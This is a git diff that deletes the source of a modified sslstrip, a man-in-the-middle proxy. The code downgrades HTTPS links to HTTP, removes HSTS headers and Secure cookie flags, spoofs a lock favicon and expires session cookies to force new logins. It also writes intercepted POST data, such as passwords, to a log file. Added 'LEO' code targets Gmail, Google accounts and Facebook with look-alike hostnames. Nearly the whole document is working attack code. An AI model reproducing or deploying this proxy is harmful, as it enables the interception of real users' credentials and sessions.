self.dnsCache.getCachedAddress(host) - - if address != None: - logging.debug("Host cached.") - return defer.succeed(address) - else: - logging.debug("Host not cached.") - return reactor.resolve(host) - - def process(self): - host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) - logging.debug("Resolving host: %s" % host) - deferred = self.resolveHost(host) - - deferred.addCallback(self.handleHostResolvedSuccess) - deferred.addErrback(self.handleHostResolvedError) - - def proxyViaHTTP(self, host, method, path, postData, headers): - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') - connectionFactory.protocol = ServerConnection - self.reactor.connectTCP(host, 80, connectionFactory) - - def proxyViaSSL(self, host, method, path, postData, headers, port): - self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') - clientContextFactory = ssl.ClientContextFactory() - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - connectionFactory.protocol = SSLServerConnection - self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) - - def sendExpiredCookies(self, host, path, expireHeaders): - self.setResponseCode(302, "Moved") - self.setHeader("Connection", "close") - self.setHeader("Location", "http://" + host + path) - - for header in expireHeaders: - self.setHeader("Set-Cookie", header) - - self.finish() - - def sendSpoofedFaviconResponse(self): - icoFile = open(self.getPathToLockIcon()) - - self.setResponseCode(200, "OK") - self.setHeader("Content-type", "image/x-icon") - self.write(icoFile.read()) - - icoFile.close() - self.finish() diff --git a/sslstrip/ClientRequest.pyc b/sslstrip/ClientRequest.pyc deleted file mode 100644 index 1503cd7..0000000 Binary files a/sslstrip/ClientRequest.pyc and /dev/null differ diff --git a/sslstrip/CookieCleaner.py b/sslstrip/CookieCleaner.py deleted file mode 100644 index 591584a..0000000 --- a/sslstrip/CookieCleaner.py +++ /dev/null @@ -1,106 +0,0 @@ -# Copyright (c) 2004-2011 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import string - -class CookieCleaner: - '''This class cleans cookies we haven't seen before. The basic idea is to - kill sessions, which isn't entirely straight-forward. Since we want this to - be generalized, there's no way for us to know exactly what cookie we're trying - to kill, which also means we don't know what domain or path it has been set for. - - The rule with cookies is that specific overrides general. So cookies that are - set for mail.foo.com override cookies with the same name that are set for .foo.com, - just as cookies that are set for foo.com/mail override cookies with the same name - that are set for foo.com/ - - The best we can do is guess, so we just try to cover our bases by expiring cookies - in a few different ways. The most obvious thing to do is look for individual cookies - and nail the ones we haven't seen coming from the server, but the problem is that cookies are often - set by Javascript instead of a Set-Cookie header, and if we block those the site - will think cookies are disabled in the browser. So we do the expirations and whitlisting - based on client,server tuples. The first time a client hits a server, we kill whatever - cookies we see then. After that, we just let them through. Not perfect, but pretty effective. - - ''' - - _instance = None - - def getInstance(): - if CookieCleaner._instance == None: - CookieCleaner._instance = CookieCleaner() - - return CookieCleaner._instance - - getInstance = staticmethod(getInstance) - - def __init__(self): - self.cleanedCookies = set(); - self.enabled = False - - def setEnabled(self, enabled): - self.enabled = enabled - - def isClean(self, method, client, host, headers): - if method == "POST": return True - if not self.enabled: return True - if not self.hasCookies(headers): return True - - return (client, self.getDomainFor(host)) in self.cleanedCookies - - def getExpireHeaders(self, method, client, host, headers, path): - domain = self.getDomainFor(host) - self.cleanedCookies.add((client, domain)) - - expireHeaders = [] - - for cookie in headers['cookie'].split(";"): - cookie = cookie.split("=")[0].strip() - expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) - expireHeaders.extend(expireHeadersForCookie) - - return expireHeaders - - def hasCookies(self, headers): - return 'cookie' in headers - - def getDomainFor(self, host): - hostParts = host.split(".") - return "." + hostParts[-2] + "." + hostParts[-1] - - def getExpireCookieStringFor(self, cookie, host, domain, path): - pathList = path.split("/") - expireStrings = list() - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + - ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + - ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - if len(pathList) > 2: - expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + - domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + - host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - return expireStrings - - diff --git a/sslstrip/CookieCleaner.pyc b/sslstrip/CookieCleaner.pyc deleted file mode 100644 index 835eebc..0000000 Binary files a/sslstrip/CookieCleaner.pyc and /dev/null differ diff --git a/sslstrip/DnsCache.py b/sslstrip/DnsCache.py deleted file mode 100644 index 91931a4..0000000 --- a/sslstrip/DnsCache.py +++ /dev/null @@ -1,28 +0,0 @@ - -class DnsCache: - - ''' - The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. - ''' - - _instance = None - - def __init__(self): - self.cache = {} - - def cacheResolution(self, host, address): - self.cache[host] = address - - def getCachedAddress(self, host): - if host in self.cache: - return self.cache[host] - - return None - - def getInstance(): - if DnsCache._instance == None: - DnsCache._instance = DnsCache() - - return DnsCache._instance - - getInstance = staticmethod(getInstance) diff --git a/sslstrip/DnsCache.pyc b/sslstrip/DnsCache.pyc deleted file mode 100644 index db7b346..0000000 Binary files a/sslstrip/DnsCache.pyc and /dev/null differ diff --git a/sslstrip/SSLServerConnection.py b/sslstrip/SSLServerConnection.py deleted file mode 100644 index b765ce4..0000000 --- a/sslstrip/SSLServerConnection.py +++ /dev/null @@ -1,121 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging, re, string - -from ServerConnection import ServerConnection - -class SSLServerConnection(ServerConnection): - - ''' - For SSL connections to a server, we need to do some additional stripping. First we need - to make note of any relative links, as the server will be expecting those to be requested - via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. - ''' - - cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) - cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) - iconExpression = re.compile(r"", re.IGNORECASE) - linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) - headExpression = re.compile(r"", re.IGNORECASE) - - def __init__(self, command, uri, postData, headers, client): - ServerConnection.__init__(self, command, uri, postData, headers, client) - - def getLogLevel(self): - return logging.INFO - - def getPostPrefix(self): - return "SECURE POST" - - def handleHeader(self, key, value): - if (key.lower() == 'set-cookie'): - newvalues =[] - value = SSLServerConnection.cookieExpression.sub("\g<1>", value) - values = value.split(';') - for v in values: - if v[:7].lower()==' domain': - dominio=v.split("=")[1] - logging.debug("LEO Parsing cookie domain parameter: %s"%v) - real = self.urlMonitor.sustitucion - if dominio in real: - v=" Domain=%s"%real[dominio] - logging.debug("LEO New cookie domain parameter: %s"%v) - newvalues.append(v) - value = ';'.join(newvalues) - - if (key.lower() == 'access-control-allow-origin'): - value='*' - - ServerConnection.handleHeader(self, key, value) - - def stripFileFromPath(self, path): - (strippedPath, lastSlash, file) = path.rpartition('/') - return strippedPath - - def buildAbsoluteLink(self, link): - absoluteLink = "" - - if ((not link.startswith('http')) and (not link.startswith('/'))): - absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - - logging.debug("Found path-relative link in secure transmission: " + link) - logging.debug("New Absolute path-relative link: " + absoluteLink) - elif not link.startswith('http'): - absoluteLink = "http://"+self.headers['host']+link - - logging.debug("Found relative link in secure transmission: " + link) - logging.debug("New Absolute link: " + absoluteLink) - - if not absoluteLink == "": - absoluteLink = absoluteLink.replace('&', '&') - self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); - - def replaceCssLinks(self, data): - iterator = re.finditer(SSLServerConnection.cssExpression, data) - - for match in iterator: - self.buildAbsoluteLink(match.group(1)) - - return data - - def replaceFavicon(self, data): - match = re.search(SSLServerConnection.iconExpression, data) - - if (match != None): - data = re.sub(SSLServerConnection.iconExpression, - "", data) - else: - data = re.sub(SSLServerConnection.headExpression, - "", data) - - return data - - def replaceSecureLinks(self, data): - data = ServerConnection.replaceSecureLinks(self, data) - data = self.replaceCssLinks(data) - - if (self.urlMonitor.isFaviconSpoofing()): - data = self.replaceFavicon(data) - - iterator = re.finditer(SSLServerConnection.linkExpression, data) - - for match in iterator: - self.buildAbsoluteLink(match.group(10)) - - return data diff --git a/sslstrip/SSLServerConnection.pyc b/sslstrip/SSLServerConnection.pyc deleted file mode 100644 index 3205df0..0000000 Binary files a/sslstrip/SSLServerConnection.pyc and /dev/null differ diff --git a/sslstrip/ServerConnection.py b/sslstrip/ServerConnection.py deleted file mode 100644 index a7be05e..0000000 --- a/sslstrip/ServerConnection.py +++ /dev/null @@ -1,184 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging, re, string, random, zlib, gzip, StringIO - -from twisted.web.http import HTTPClient -from URLMonitor import URLMonitor - -class ServerConnection(HTTPClient): - - ''' The server connection is where we do the bulk of the stripping. Everything that - comes back is examined. The headers we dont like are removed, and the links are stripped - from HTTPS to HTTP. - ''' - - urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) - urlType = re.compile(r"https://", re.IGNORECASE) - urlTypewww = re.compile(r"https://www", re.IGNORECASE) - urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) - urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) - urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) - urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) -# urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) - - def __init__(self, command, uri, postData, headers, client): - self.command = command - self.uri = uri - self.postData = postData - self.headers = headers - self.client = client - self.urlMonitor = URLMonitor.getInstance() - self.isImageRequest = False - self.isCompressed = False - self.contentLength = None - self.shutdownComplete = False - - def getLogLevel(self): - return logging.DEBUG - - def getPostPrefix(self): - return "POST" - - def sendRequest(self): - logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) - self.sendCommand(self.command, self.uri) - - def sendHeaders(self): - for header, value in self.headers.items(): - logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) - self.sendHeader(header, value) - - self.endHeaders() - - def sendPostData(self): - logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) - self.transport.write(self.postData) - - def connectionMade(self): - logging.log(self.getLogLevel(), "HTTP connection made.") - self.sendRequest() - self.sendHeaders() - - if (self.command == 'POST'): - self.sendPostData() - - def handleStatus(self, version, code, message): - logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) - self.client.setResponseCode(int(code), message) - - def handleHeader(self, key, value): - logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) - - if (key.lower() == 'location'): - value = self.replaceSecureLinks(value) - - if (key.lower() == 'content-type'): - if (value.find('image') != -1): - self.isImageRequest = True - logging.debug("Response is image content, not scanning...") - - if (key.lower() == 'content-encoding'): - if (value.find('gzip') != -1): - logging.debug("Response is compressed...") - self.isCompressed = True - elif (key.lower() == 'content-length'): - self.contentLength = value - elif (key.lower() == 'set-cookie'): - self.client.responseHeaders.addRawHeader(key, value) - elif (key.lower()== 'strict-transport-security'): - logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") - else: - self.client.setHeader(key, value) - - - def handleEndHeaders(self): - if (self.isImageRequest and self.contentLength != None): - self.client.setHeader("Content-Length", self.contentLength) - - if self.length == 0: - self.shutdown() - - def handleResponsePart(self, data): - if (self.isImageRequest): - self.client.write(data) - else: - HTTPClient.handleResponsePart(self, data) - - def handleResponseEnd(self): - if (self.isImageRequest): - self.shutdown() - else: - HTTPClient.handleResponseEnd(self) - - def handleResponse(self, data): - if (self.isCompressed): - logging.debug("Decompressing content...") - data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - - logging.log(self.getLogLevel(), "Read from server:\n" + data) - #logging.log(self.getLogLevel(), "Read from server:\n " ) - - - data = self.replaceSecureLinks(data) - - if (self.contentLength != None): - self.client.setHeader('Content-Length', len(data)) - - self.client.write(data) - self.shutdown() - - def replaceSecureLinks(self, data): - sustitucion = {} - patchDict = self.urlMonitor.patchDict - if len(patchDict)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) - data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) - - iterator = re.finditer(ServerConnection.urlExpression, data) - for match in iterator: - url = match.group() - - logging.debug("Found secure reference: " + url) - nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) - sustitucion[url] = nuevaurl - #data.replace(url,nuevaurl) - - #data = self.urlMonitor.DataReemplazo(data) - if len(sustitucion)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) - data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) - - #logging.debug("LEO DEBUG received data:\n"+data) - #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) - #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) - #if data.find("http://w.face")!=-1: - # logging.debug("LEO DEBUG Found error in modifications") - # raw_input("Press Enter to continue") - #return re.sub(ServerConnection.urlType, 'http://web.', data) - return data - - - def shutdown(self): - if not self.shutdownComplete: - self.shutdownComplete = True - self.client.finish() - self.transport.loseConnection() - - diff --git a/sslstrip/ServerConnection.pyc b/sslstrip/ServerConnection.pyc deleted file mode 100644 index d6df274..0000000 Binary files a/sslstrip/ServerConnection.pyc and /dev/null differ diff --git a/sslstrip/ServerConnectionFactory.py b/sslstrip/ServerConnectionFactory.py deleted file mode 100644 index 793bdc6..0000000 --- a/sslstrip/ServerConnectionFactory.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from twisted.internet.protocol import ClientFactory - -class ServerConnectionFactory(ClientFactory): - - def __init__(self, command, uri, postData, headers, client): - self.command = command - self.uri = uri - self.postData = postData - self.headers = headers - self.client = client - - def buildProtocol(self, addr): - return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) - - def clientConnectionFailed(self, connector, reason): - logging.debug("Server connection failed.") - - destination = connector.getDestination() - - if (destination.port != 443): - logging.debug("Retrying via SSL") - self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) - else: - self.client.finish() - diff --git a/sslstrip/ServerConnectionFactory.pyc b/sslstrip/ServerConnectionFactory.pyc deleted file mode 100644 index 1eb47d0..0000000 Binary files a/sslstrip/ServerConnectionFactory.pyc and /dev/null differ diff --git a/sslstrip/StrippingProxy.py b/sslstrip/StrippingProxy.py deleted file mode 100644 index f4c1e89..0000000 --- a/sslstrip/StrippingProxy.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from twisted.web.http import HTTPChannel -from ClientRequest import ClientRequest - -class StrippingProxy(HTTPChannel): - '''sslstrip is, at heart, a transparent proxy server that does some unusual things. - This is the basic proxy server class, where we get callbacks for GET and POST methods. - We then proxy these out using HTTP or HTTPS depending on what information we have about - the (connection, client_address) tuple in our cache. - ''' - - requestFactory = ClientRequest diff --git a/sslstrip/StrippingProxy.pyc b/sslstrip/StrippingProxy.pyc deleted file mode 100644 index 8213fb6..0000000 Binary files a/sslstrip/StrippingProxy.pyc and /dev/null differ diff --git a/sslstrip/URLMonitor.py b/sslstrip/URLMonitor.py deleted file mode 100644 index 863ecfc..0000000 --- a/sslstrip/URLMonitor.py +++ /dev/null @@ -1,115 +0,0 @@ -# URLMonitor - -import re -import logging - -class URLMonitor: - - ''' - The URL monitor maintains a set of (client, url) tuples that correspond to requests which the - server is expecting over SSL. It also keeps track of secure favicon urls. - ''' - - # Start the arms race, and end up here... - javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] - _instance = None - sustitucion = {} # LEO: diccionario host / sustitucion - real = {} # LEO: diccionario host / real - patchDict = { - 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', - 'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com', - 'return"https:"':'return"http:"' - } - - def __init__(self): - self.strippedURLs = set() - self.strippedURLPorts = {} - self.faviconReplacement = False - self.sustitucion["mail.google.com"] = "gmail.google.com" - self.real["gmail.google.com"] = "mail.google.com" - - self.sustitucion["www.facebook.com"] = "social.facebook.com" - self.real["social.facebook.com"] = "www.facebook.com" - - self.sustitucion["accounts.google.com"] = "cuentas.google.com" - self.real["cuentas.google.com"] = "accounts.google.com" - - self.sustitucion["accounts.google.es"] = "cuentas.google.es" - self.real["cuentas.google.es"] = "accounts.google.es" - - - def isSecureLink(self, client, url): - for expression in URLMonitor.javascriptTrickery: - if (re.match(expression, url)): - logging.debug("JavaScript trickery!") - return True - - if (client, url) in self.strippedURLs: - logging.debug("(%s, %s) in strippedURLs" % (client, url)) - return (client,url) in self.strippedURLs - - def getSecurePort(self, client, url): - if (client,url) in self.strippedURLs: - return self.strippedURLPorts[(client,url)] - else: - return 443 - - def addSecureLink(self, client, url): - methodIndex = url.find("//") + 2 - method = url[0:methodIndex] - pathIndex = url.find("/", methodIndex) - host = url[methodIndex:pathIndex].lower() - path = url[pathIndex:] - - port = 443 - portIndex = host.find(":") - - if (portIndex != -1): - host = host[0:portIndex] - port = host[portIndex+1:] - if len(port) == 0: - port = 443 - - #LEO: Sustituir HOST - if not self.sustitucion.has_key(host): - lhost = host[:4] - if lhost=="www.": - self.sustitucion[host] = "w"+host - self.real["w"+host] = host - else: - self.sustitucion[host] = "web"+host - self.real["web"+host] = host - logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) - - url = 'http://' + host + path - #logging.debug("LEO stripped URL: %s %s"%(client, url)) - - self.strippedURLs.add((client, url)) - self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+self.sustitucion[host]+path - - def setFaviconSpoofing(self, faviconSpoofing): - self.faviconSpoofing = faviconSpoofing - - def isFaviconSpoofing(self): - return self.faviconSpoofing - - def isSecureFavicon(self, client, url): - return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) - - def URLgetRealHost(self,host): - logging.debug("Parsing host: %s"%host) - if self.real.has_key(host): - logging.debug("New host: %s"%self.real[host]) - return self.real[host] - else: - logging.debug("New host: %s"%host) - return host - - def getInstance(): - if URLMonitor._instance == None: - URLMonitor._instance = URLMonitor() - - return URLMonitor._instance - - getInstance = staticmethod(getInstance) diff --git a/sslstrip/URLMonitor.pyc b/sslstrip/URLMonitor.pyc deleted file mode 100644 index 7b107ea..0000000 Binary files a/sslstrip/URLMonitor.pyc and /dev/null differ diff --git a/sslstrip/__init__.py b/sslstrip/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/sslstrip/__init__.pyc b/sslstrip/__init__.pyc deleted file mode 100644 index ce51fc1..0000000 Binary files a/sslstrip/__init__.pyc and /dev/null differ